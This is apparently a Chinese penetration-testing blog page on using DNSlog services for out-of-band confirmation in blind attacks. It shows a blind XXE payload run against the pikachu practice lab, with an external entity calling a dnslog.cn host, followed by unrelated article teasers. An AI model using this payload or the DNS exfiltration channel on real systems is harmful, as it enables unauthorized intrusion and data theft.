渗透无回显,放弃 or 看这篇文章

news/2024/11/23 3:32:02/

渗透无回显,放弃 or 看这篇文章

  • 1.DNSlog工具
  • 2.DNSlog回显原理
  • 3.无回显的XXE

1.DNSlog工具

如果有自己的服务器和域名,可以自建一个这样的DNSlog平台用于进行渗透数据外带,或者直接使用BugScan团队开源的工具搭建即可:

Github:Dnslog

或者直接使用在线工具:

dnslog外带

ceye

使用方法:

获取一个子域名信息,用于数据外带:

在这里插入图片描述

打开新网页并粘贴在url上,访问这个三级域名

刷新记录,会看到我们的访问解析记录:

在这里插入图片描述

ceye使用方法类似


2.DNSlog回显原理

DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件

通俗的说就是我有个已注册的域名a.com,我在域名代理商那里将域名设置对应的ip 1.1.1.1 上,这样当我向dns服务器发起a.com的解析请求时,DNSlog中会记录下他给a.com解析,解析值为1.1.1.1,而我们这个解析的记录的值就是我们要利用的地方。

因为dnslog的特殊机制,所以可以用于无回显的渗透攻击:

  • SQL注入中的盲注
  • XSS盲打
  • 无回显的命令执行
  • 无回显的SSRF
  • 无回显的XXE(Blind XXE)

3.无回显的XXE

以pikachu XXE 靶场为例:

漏洞验证:

发送payload:

<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE userInfo [ <!ELEMENT userInfo (name)> <!ELEMENT name (#PCDATA)> <!ENTITY name SYSTEM "http://pgc3he.dnslog.cn"> ]> <userInfo> <name>&name;</name> </userInfo>

刷新记录,出现回显:

在这里插入图片描述

说明漏洞真的存在!


http://www.ppmy.cn/news/70404.html

相关文章

SpringBoot中@ControllerAdvice/@RestControlAdvice+@ExceptionHandler实现全局异常捕获与处理

场景 在编写Controller接口时&#xff0c;为避免接口因为未知的异常导致返回不友好的结果和提示。 如果不进行全局异常捕获则需要对每个接口进行try-catch或其他操作。 可以对Controller进行全局的异常捕获和处理&#xff0c;一旦发生异常&#xff0c;则返回通用的500响应码与…

typescript里面正则的使用

以下是一些常用的正则表达式元字符&#xff1a; ^&#xff1a;匹配字符串的开头。$&#xff1a;匹配字符串的结尾。.&#xff1a;匹配任意单个字符&#xff0c;除了换行符。*&#xff1a;匹配前面的字符零次或多次。&#xff1a;匹配前面的字符一次或多次。?&#xff1a;匹配…

无效数据处理之道:Linux系统编程C/C++实践探索

无效数据处理之道&#xff1a;Linux系统编程C/C实践探索 一、引言1.1 无效数据的来源1. 用户输入2. 硬件故障3. 软件错误 1.2 检测和处理无效数据1. 数据验证2. 异常处理3. 断言4. 内存管理 1.3 无效数据的预防和处理最佳实践1. 设计健壮的输入验证机制2. 错误处理和恢复机制3.…

Vue3(6) Transition

目录 组件 基于CSS的过渡效果 JavaScript钩子 Vue 提供了两个内置组件&#xff0c;可以帮助你制作基于状态变化的过渡和动画&#xff1a; <Transition> 会在一个元素或组件进入和离开 DOM 时应用动画。 <TransitionGroup> 会在一个 v-for 列表中的元素或组件被…

模拟封装C标准库

文章目录 1. 准备工作2. my_fopen3. my_fwrite4. my_fclose和my_fflush5. syncfs 1. 准备工作 举个例子&#xff1a; 这里我们要实现my_fopen&#xff0c;my_fwrite和my_fclose这三个函数&#xff0c;并封装MyFILE。 这是MyFILE的封装&#xff0c;然后我们把三个函数接口完成…

JDK8之Optional类

Optional 类是 Java 8 引入的一个容器类&#xff0c;它主要解决了空指针异常问题。在 Java 中&#xff0c;如果我们访问一个空引用&#xff08;null&#xff09;&#xff0c;就会抛出 NullPointerException 异常。使用 Optional 类可以有效地避免这个问题。 Optional 类可以存…

I3C仿真:PGY I3C-EX-PD使用

目录 简述 环境配置 设备基本介绍 状态指示灯介绍 软件功能基本介绍 基本框架示意图 基本功能说明 Toolbar Controller Auxiliary Config Wave form Func View Decoded result SelectedFrame 使用教程 连接设备 查看网络 添加设备 删除与修改设备参数 保存…

前端开发之函数式编程实践 | 京东云技术团队

作者&#xff1a;京东科技 牛志伟 函数式编程简介 常见应用场景 1、ES6中的map、filter、reduce等函数 [1,2,3,4,5].map(x > x * 2).filter(x > x > 5).reduce((p,n) > p n);2、React类组件 -> 函数式组件hooks、Vue3中的组合式API 3、RxJS、Lodash和Ramd…